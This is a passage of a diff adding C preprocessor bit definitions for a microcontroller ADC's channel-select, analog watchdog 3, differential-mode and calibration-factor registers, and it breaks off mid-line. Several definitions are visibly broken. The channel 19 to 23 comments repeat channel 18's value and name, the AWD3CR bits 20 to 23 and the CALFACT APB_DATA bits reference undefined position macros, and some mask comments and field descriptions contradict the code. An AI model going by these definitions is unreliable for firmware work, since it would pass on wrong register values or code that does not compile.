ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL11_Pos (11UL) +#define ADC_CHSELR_CHSEL11_Msk (0x1UL << ADC_CHSELR_CHSEL11_Pos) /*!< 0x00000800 */ +#define ADC_CHSELR_CHSEL11 ADC_CHSELR_CHSEL11_Msk /*!< ADC group regular sequencer channel 11, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL12_Pos (12UL) +#define ADC_CHSELR_CHSEL12_Msk (0x1UL << ADC_CHSELR_CHSEL12_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_CHSEL12 ADC_CHSELR_CHSEL12_Msk /*!< ADC group regular sequencer channel 12, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL13_Pos (13UL) +#define ADC_CHSELR_CHSEL13_Msk (0x1UL << ADC_CHSELR_CHSEL13_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_CHSEL13 ADC_CHSELR_CHSEL13_Msk /*!< ADC group regular sequencer channel 13, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL14_Pos (14UL) +#define ADC_CHSELR_CHSEL14_Msk (0x1UL << ADC_CHSELR_CHSEL14_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_CHSEL14 ADC_CHSELR_CHSEL14_Msk /*!< ADC group regular sequencer channel 14, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL15_Pos (15UL) +#define ADC_CHSELR_CHSEL15_Msk (0x1UL << ADC_CHSELR_CHSEL15_Pos) /*!< 0x00008000 */ +#define ADC_CHSELR_CHSEL15 ADC_CHSELR_CHSEL15_Msk /*!< ADC group regular sequencer channel 15, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL16_Pos (16UL) +#define ADC_CHSELR_CHSEL16_Msk (0x1UL << ADC_CHSELR_CHSEL16_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_CHSEL16 ADC_CHSELR_CHSEL16_Msk /*!< ADC group regular sequencer channel 16, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL17_Pos (17UL) +#define ADC_CHSELR_CHSEL17_Msk (0x1UL << ADC_CHSELR_CHSEL17_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_CHSEL17 ADC_CHSELR_CHSEL17_Msk /*!< ADC group regular sequencer channel 17, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL18_Pos (18UL) +#define ADC_CHSELR_CHSEL18_Msk (0x1UL << ADC_CHSELR_CHSEL18_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL18 ADC_CHSELR_CHSEL18_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL19_Pos (19UL) +#define ADC_CHSELR_CHSEL19_Msk (0x1UL << ADC_CHSELR_CHSEL19_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL19 ADC_CHSELR_CHSEL19_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL20_Pos (20UL) +#define ADC_CHSELR_CHSEL20_Msk (0x1UL << ADC_CHSELR_CHSEL20_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL20 ADC_CHSELR_CHSEL20_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL21_Pos (21UL) +#define ADC_CHSELR_CHSEL21_Msk (0x1UL << ADC_CHSELR_CHSEL21_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL21 ADC_CHSELR_CHSEL21_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL22_Pos (22UL) +#define ADC_CHSELR_CHSEL22_Msk (0x1UL << ADC_CHSELR_CHSEL22_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL22 ADC_CHSELR_CHSEL22_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL23_Pos (23UL) +#define ADC_CHSELR_CHSEL23_Msk (0x1UL << ADC_CHSELR_CHSEL23_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL23 ADC_CHSELR_CHSEL23_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_SQ_ALL_Pos (0UL) +#define ADC_CHSELR_SQ_ALL_Msk (0xFFFFFFFFUL << ADC_CHSELR_SQ_ALL_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CHSELR_SQ_ALL ADC_CHSELR_SQ_ALL_Msk /*!< ADC group regular sequencer all ranks, available when ADC_CFGR1_CHSELRMOD is set */ + +#define ADC_CHSELR_SQ1_Pos (0UL) +#define ADC_CHSELR_SQ1_Msk (0xFUL << ADC_CHSELR_SQ1_Pos) /*!< 0x0000000F */ +#define ADC_CHSELR_SQ1 ADC_CHSELR_SQ1_Msk /*!< ADC group regular sequencer rank 1, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ1_0 (0x1UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_SQ1_1 (0x2UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_SQ1_2 (0x4UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_SQ1_3 (0x8UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000008 */ + +#define ADC_CHSELR_SQ2_Pos (4UL) +#define ADC_CHSELR_SQ2_Msk (0xFUL << ADC_CHSELR_SQ2_Pos) /*!< 0x000000F0 */ +#define ADC_CHSELR_SQ2 ADC_CHSELR_SQ2_Msk /*!< ADC group regular sequencer rank 2, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ2_0 (0x1UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_SQ2_1 (0x2UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_SQ2_2 (0x4UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_SQ2_3 (0x8UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000080 */ + +#define ADC_CHSELR_SQ3_Pos (8UL) +#define ADC_CHSELR_SQ3_Msk (0xFUL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000F00 */ +#define ADC_CHSELR_SQ3 ADC_CHSELR_SQ3_Msk /*!< ADC group regular sequencer rank 3, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ3_0 (0x1UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_SQ3_1 (0x2UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_SQ3_2 (0x4UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_SQ3_3 (0x8UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000800 */ + +#define ADC_CHSELR_SQ4_Pos (12UL) +#define ADC_CHSELR_SQ4_Msk (0xFUL << ADC_CHSELR_SQ4_Pos) /*!< 0x0000F000 */ +#define ADC_CHSELR_SQ4 ADC_CHSELR_SQ4_Msk /*!< ADC group regular sequencer rank 4, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ4_0 (0x1UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_SQ4_1 (0x2UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_SQ4_2 (0x4UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_SQ4_3 (0x8UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00008000 */ + +#define ADC_CHSELR_SQ5_Pos (16UL) +#define ADC_CHSELR_SQ5_Msk (0xFUL << ADC_CHSELR_SQ5_Pos) /*!< 0x000F0000 */ +#define ADC_CHSELR_SQ5 ADC_CHSELR_SQ5_Msk /*!< ADC group regular sequencer rank 5, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ5_0 (0x1UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_SQ5_1 (0x2UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_SQ5_2 (0x4UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_SQ5_3 (0x8UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00080000 */ + +#define ADC_CHSELR_SQ6_Pos (20UL) +#define ADC_CHSELR_SQ6_Msk (0xFUL << ADC_CHSELR_SQ6_Pos) /*!< 0x00F00000 */ +#define ADC_CHSELR_SQ6 ADC_CHSELR_SQ6_Msk /*!< ADC group regular sequencer rank 6, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ6_0 (0x1UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00100000 */ +#define ADC_CHSELR_SQ6_1 (0x2UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00200000 */ +#define ADC_CHSELR_SQ6_2 (0x4UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00400000 */ +#define ADC_CHSELR_SQ6_3 (0x8UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00800000 */ + +#define ADC_CHSELR_SQ7_Pos (24UL) +#define ADC_CHSELR_SQ7_Msk (0xFUL << ADC_CHSELR_SQ7_Pos) /*!< 0x0F000000 */ +#define ADC_CHSELR_SQ7 ADC_CHSELR_SQ7_Msk /*!< ADC group regular sequencer rank 7, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ7_0 (0x1UL << ADC_CHSELR_SQ7_Pos) /*!< 0x01000000 */ +#define ADC_CHSELR_SQ7_1 (0x2UL << ADC_CHSELR_SQ7_Pos) /*!< 0x02000000 */ +#define ADC_CHSELR_SQ7_2 (0x4UL << ADC_CHSELR_SQ7_Pos) /*!< 0x04000000 */ +#define ADC_CHSELR_SQ7_3 (0x8UL << ADC_CHSELR_SQ7_Pos) /*!< 0x08000000 */ + +#define ADC_CHSELR_SQ8_Pos (28UL) +#define ADC_CHSELR_SQ8_Msk (0xFUL << ADC_CHSELR_SQ8_Pos) /*!< 0xF0000000 */ +#define ADC_CHSELR_SQ8 ADC_CHSELR_SQ8_Msk /*!< ADC group regular sequencer rank 8, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ8_0 (0x1UL << ADC_CHSELR_SQ8_Pos) /*!< 0x10000000 */ +#define ADC_CHSELR_SQ8_1 (0x2UL << ADC_CHSELR_SQ8_Pos) /*!< 0x20000000 */ +#define ADC_CHSELR_SQ8_2 (0x4UL << ADC_CHSELR_SQ8_Pos) /*!< 0x40000000 */ +#define ADC_CHSELR_SQ8_3 (0x8UL << ADC_CHSELR_SQ8_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD3TR register *******************/ +#define ADC_AWD3TR_LT3_Pos (0UL) +#define ADC_AWD3TR_LT3_Msk (0xFFFUL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000FFF */ +#define ADC_AWD3TR_LT3 ADC_AWD3TR_LT3_Msk /*!< ADC analog watchdog 3 threshold low */ +#define ADC_AWD3TR_LT3_0 (0x001UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000001 */ +#define ADC_AWD3TR_LT3_1 (0x002UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000002 */ +#define ADC_AWD3TR_LT3_2 (0x004UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000004 */ +#define ADC_AWD3TR_LT3_3 (0x008UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000008 */ +#define ADC_AWD3TR_LT3_4 (0x010UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000010 */ +#define ADC_AWD3TR_LT3_5 (0x020UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000020 */ +#define ADC_AWD3TR_LT3_6 (0x040UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000040 */ +#define ADC_AWD3TR_LT3_7 (0x080UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000080 */ +#define ADC_AWD3TR_LT3_8 (0x100UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000100 */ +#define ADC_AWD3TR_LT3_9 (0x200UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000200 */ +#define ADC_AWD3TR_LT3_10 (0x400UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000400 */ +#define ADC_AWD3TR_LT3_11 (0x800UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000800 */ + +#define ADC_AWD3TR_HT3_Pos (16UL) +#define ADC_AWD3TR_HT3_Msk (0xFFFUL << ADC_AWD3TR_HT3_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD3TR_HT3 ADC_AWD3TR_HT3_Msk /*!< ADC analog watchdog 3 threshold high */ +#define ADC_AWD3TR_HT3_0 (0x001UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00010000 */ +#define ADC_AWD3TR_HT3_1 (0x002UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00020000 */ +#define ADC_AWD3TR_HT3_2 (0x004UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00040000 */ +#define ADC_AWD3TR_HT3_3 (0x008UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00080000 */ +#define ADC_AWD3TR_HT3_4 (0x010UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00100000 */ +#define ADC_AWD3TR_HT3_5 (0x020UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00200000 */ +#define ADC_AWD3TR_HT3_6 (0x040UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00400000 */ +#define ADC_AWD3TR_HT3_7 (0x080UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00800000 */ +#define ADC_AWD3TR_HT3_8 (0x100UL << ADC_AWD3TR_HT3_Pos) /*!< 0x01000000 */ +#define ADC_AWD3TR_HT3_9 (0x200UL << ADC_AWD3TR_HT3_Pos) /*!< 0x02000000 */ +#define ADC_AWD3TR_HT3_10 (0x400UL << ADC_AWD3TR_HT3_Pos) /*!< 0x04000000 */ +#define ADC_AWD3TR_HT3_11 (0x800UL << ADC_AWD3TR_HT3_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWD3CR register ********************/ +#define ADC_AWD3CR_AWD3CH_Pos (0UL) +#define ADC_AWD3CR_AWD3CH_Msk (0xFFFFFFUL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD3CR_AWD3CH ADC_AWD3CR_AWD3CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD3CR_AWD3CH_0 (0x00001UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD3CR_AWD3CH_1 (0x00002UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD3CR_AWD3CH_2 (0x00004UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD3CR_AWD3CH_3 (0x00008UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD3CR_AWD3CH_4 (0x00010UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD3CR_AWD3CH_5 (0x00020UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD3CR_AWD3CH_6 (0x00040UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD3CR_AWD3CH_7 (0x00080UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD3CR_AWD3CH_8 (0x00100UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD3CR_AWD3CH_9 (0x00200UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD3CR_AWD3CH_10 (0x00400UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD3CR_AWD3CH_11 (0x00800UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD3CR_AWD3CH_12 (0x01000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD3CR_AWD3CH_13 (0x02000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD3CR_AWD3CH_14 (0x04000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD3CR_AWD3CH_15 (0x08000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD3CR_AWD3CH_16 (0x10000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD3CR_AWD3CH_17 (0x20000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD3CR_AWD3CH_18 (0x40000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD3CR_AWD3CH_19 (0x80000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD3CR_AWD2CH_20 (0x100000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD3CR_AWD2CH_21 (0x200000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD3CR_AWD2CH_22 (0x400000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD3CR_AWD2CH_23 (0x800000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_DIFSEL register ********************/ +#define ADC_DIFSEL_DIFSEL_Pos (0UL) +#define ADC_DIFSEL_DIFSEL_Msk (0xFFFFFUL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_DIFSEL_DIFSEL ADC_DIFSEL_DIFSEL_Msk /*!< ADC differential modes for channels 1 to 18 */ +#define ADC_DIFSEL_DIFSEL_0 (0x00001UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000001 */ +#define ADC_DIFSEL_DIFSEL_1 (0x00002UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000002 */ +#define ADC_DIFSEL_DIFSEL_2 (0x00004UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000004 */ +#define ADC_DIFSEL_DIFSEL_3 (0x00008UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000008 */ +#define ADC_DIFSEL_DIFSEL_4 (0x00010UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000010 */ +#define ADC_DIFSEL_DIFSEL_5 (0x00020UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000020 */ +#define ADC_DIFSEL_DIFSEL_6 (0x00040UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000040 */ +#define ADC_DIFSEL_DIFSEL_7 (0x00080UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000080 */ +#define ADC_DIFSEL_DIFSEL_8 (0x00100UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000100 */ +#define ADC_DIFSEL_DIFSEL_9 (0x00200UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000200 */ +#define ADC_DIFSEL_DIFSEL_10 (0x00400UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000400 */ +#define ADC_DIFSEL_DIFSEL_11 (0x00800UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000800 */ +#define ADC_DIFSEL_DIFSEL_12 (0x01000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00001000 */ +#define ADC_DIFSEL_DIFSEL_13 (0x02000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00002000 */ +#define ADC_DIFSEL_DIFSEL_14 (0x04000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00004000 */ +#define ADC_DIFSEL_DIFSEL_15 (0x08000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00008000 */ +#define ADC_DIFSEL_DIFSEL_16 (0x10000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00010000 */ +#define ADC_DIFSEL_DIFSEL_17 (0x20000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00020000 */ +#define ADC_DIFSEL_DIFSEL_18 (0x40000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00040000 */ +#define ADC_DIFSEL_DIFSEL_19 (0x80000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_CALFACT register ********************/ +#define ADC_CALFACT_I_APB_ADDR_Pos (0UL) +#define ADC_CALFACT_I_APB_ADDR_Msk (0xFFUL << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x000000FF */ +#define ADC_CALFACT_I_APB_ADDR ADC_CALFACT_I_APB_ADDR_Msk /*!< ADC calibration factors in single-ended mode */ +#define ADC_CALFACT_I_APB_ADDR_0 (0x001U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT_I_APB_ADDR_1 (0x002U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT_I_APB_ADDR_2 (0x004U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT_I_APB_ADDR_3 (0x008U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT_I_APB_ADDR_4 (0x010U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT_I_APB_ADDR_5 (0x020U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT_I_APB_ADDR_6 (0x040U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT_I_APB_ADDR_7 (0x080U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000080 */ + +#define ADC_CALFACT_I_APB_DATA_Pos (08UL) +#define ADC_CALFACT_I_APB_DATA_Msk (0xFFUL << ADC_CALFACT_I_APB_DATA_Pos) /*!< 0x0000FF00 */ +#define ADC_CALFACT_I_APB_DATA ADC_CALFACT_I_APB_DATA_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_APB_DATA_0 (0x001U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT_APB_DATA_1 (0x002U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT_APB_DATA_2 (0x004U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT_APB_DATA_3 (0x008U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT_APB_DATA_4 (0x010U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT_APB_DATA_5 (0x020U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT_APB_DATA_6 (0x040U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT_APB_DATA_7 (0x080U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00008000 */ + +#define ADC_CALFACT_VALIDITY_Pos (16UL) +#define ADC_CALFACT_VALIDITY_Msk (0x1UL << ADC_CALFACT_VALIDITY_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT_VALIDITY ADC_CALFACT_VALIDITY_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_LATCH_COEF_Pos (24UL) +#define ADC_CALFACT_LATCH_COEF_Msk (0x1UL << ADC_CALFACT_LATCH_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_LATCH_COEF ADC_CALFACT_LATCH_COEF_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_CAPTURE_COEF_Pos (25UL) +#define ADC_CALFACT_CAPTURE_COEF_Msk (0x1UL << ADC_CALFACT_CAPTURE_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_CAPTURE_COEF ADC_CALFACT_CAPTURE_COEF_Msk /*!< ADC calibration factors in differential mode */ + +#define ADC4_CALFACT_CALFACT_Pos (0UL) +#define ADC4_CALFACT_CALFACT_Msk (0x7FUL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x0000007F */ +#define ADC4_CALFACT_CALFACT ADC4_CALFACT_CALFACT_Msk /*!< ADC calibration factor in single-ended mode */ +#define ADC4_CALFACT_CALFACT_0 (0x01UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC4_CALFACT_CALFACT_1 (0x02UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC4_CALFACT_CALFACT_2 (0x04UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC4_CALFACT_CALFACT_3 (0x08UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC4_CALFACT_CALFACT_4 (0x10UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC4_CALFACT_CALFACT_5 (0x20UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC4_CALFACT_CALFACT_6 (0x40UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000040 */ + +/******************** Bit definition for ADC_CALFACT2 register ********************/ +#define ADC_CALFACT2_CALFACT_Pos (0UL) +#define ADC_CALFACT2_CALFACT_Msk (0xFFFFFFFFUL << ADC_CALFACT2_CALFACT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CALFACT2_CALFACT ADC_CALFACT2_CALFACT_Msk /*!< ADC Linearity calibration factors */ +#define ADC_CALFACT2_CALFACT_0 (0x00000001UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT2_CALFACT_1 (0x00000002UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT2_CALFACT_2 (0x00000004UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT2_CALFACT_3 (0x00000008UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT2_CALFACT_4 (0x00000010UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT2_CALFACT_5 (0x00000020UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT2_CALFACT_6 (0x00000040UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT2_CALFACT_7 (0x00000080UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000080 */ +#define ADC_CALFACT2_CALFACT_8 (0x00000100UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT2_CALFACT_9 (0x00000200UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT2_CALFACT_10 (0x00000400UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT2_CALFACT_11 (0x00000800UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT2_CALFACT_12 (0x00001000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT2_CALFACT_13 (0x00002000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT2_CALFACT_14 (0x00004000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT2_CALFACT_15 (0x00008000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00008000 */ +#define ADC_CALFACT2_CALFACT_16 (0x00010000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT2_CALFACT_17 (0x00020000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00020000 */ +#define ADC_CALFACT2_CALFACT_18 (0x00040000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00040000 */ +#define ADC_CALFACT2_CALFACT_19 (0x00080000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00080000 */ +#define ADC_CALFACT2_CALFACT_20 (0x00100000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00100000 */ +#define ADC_CALFACT2_CALFACT_21 (0x00200000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00200000 */ +#define ADC_CALFACT2_CALFACT_22 (0x00400000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00400000 */ +#define ADC_CALFACT2_CALFACT_23 (0x00800000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00800000 */ +#define 